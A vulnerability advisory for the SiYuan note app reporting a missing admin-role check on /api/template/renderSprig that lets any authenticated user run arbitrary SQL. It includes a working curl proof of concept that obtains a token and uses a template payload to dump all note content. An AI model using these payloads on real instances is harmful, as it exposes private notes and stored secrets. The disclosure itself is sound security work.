### Summary
`POST /api/template/renderSprig` lacks `model.CheckAdminRole`, allowing any authenticated user to execute arbitrary SQL queries against the SiYuan workspace database and exfiltrate all note content, metadata, and custom attributes.

### Details
**File:** `kernel/api/router.go`

Every sensitive endpoint in the codebase uses `model.CheckAuth + model.CheckAdminRole`, but `renderSprig` only has `CheckAuth`:

```go
// Missing CheckAdminRole
ginServer.Handle("POST", "/api/template/renderSprig",
model.CheckAuth, renderSprig)

// Correct pattern used by all other data endpoints
ginServer.Handle("POST", "/api/template/render",
model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, renderTemplate)
```

`renderSprig` calls `model.RenderGoTemplate` (`kernel/model/template.go`) which registers SQL functions from `kernel/sql/database.go`:

```go
(*templateFuncMap)["querySQL"] = func(stmt string) (ret []map[string]interface{}) {
ret, _ = Query(stmt, 1024) // executes raw SELECT, no role check
return
}
```

Any authenticated user - including Publish Service **Reader** role accounts - can call this endpoint and execute arbitrary SELECT queries.

### PoC
**Environment:**
```bash
docker run -d --name siyuan -p 6806:6806 \
-v $(pwd)/workspace:/siyuan/workspace \
b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123
```

**Exploit:**
```bash
# Step 1: Login and retrieve API token
curl -s -X POST http://localhost:6806/api/system/loginAuth \
-H "Content-Type: application/json" \
-d '{"authCode":"test123"}' -c /tmp/siy.cookie

sleep 15 # wait for boot

TOKEN=$(curl -s -X POST http://localhost:6806/api/system/getConf \
-b /tmp/siy.cookie -H "Content-Type: application/json" -d '{}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['data']['conf']['api']['token'])")

# Step 2: Execute SQL as non-admin user
curl -s -X POST http://localhost:6806/api/template/renderSprig \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"template":"{{querySQL \"SELECT count(*) as n FROM blocks\" | toJson}}"}'
```

**Confirmed response on v3.6.0:**
```json
{"code":0,"msg":"","data":"[{\"n\":0}]"}
```

**Full note dump:**
```bash
curl -s -X POST http://localhost:6806/api/template/renderSprig \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"template":"{{range $r := (querySQL \"SELECT hpath,content FROM blocks LIMIT 100\")}}{{$r.hpath}}: {{$r.content}}\n{{end}}"}'
```

### Impact
Any authenticated user (API token holder, Publish Service Reader) can:
- Dump **all note content** and document hierarchy from the workspace
- Exfiltrate tags, custom attributes, block IDs, and timestamps
- Search notes for stored passwords, API keys, or personal data
- Enumerate all notebooks and their structure

This is especially severe in shared or enterprise deployments where lower-privilege accounts should not have access to other users' notes.

CWE-285 Improper Authorization

CWE-732 Incorrect Permission Assignment for Critical Resource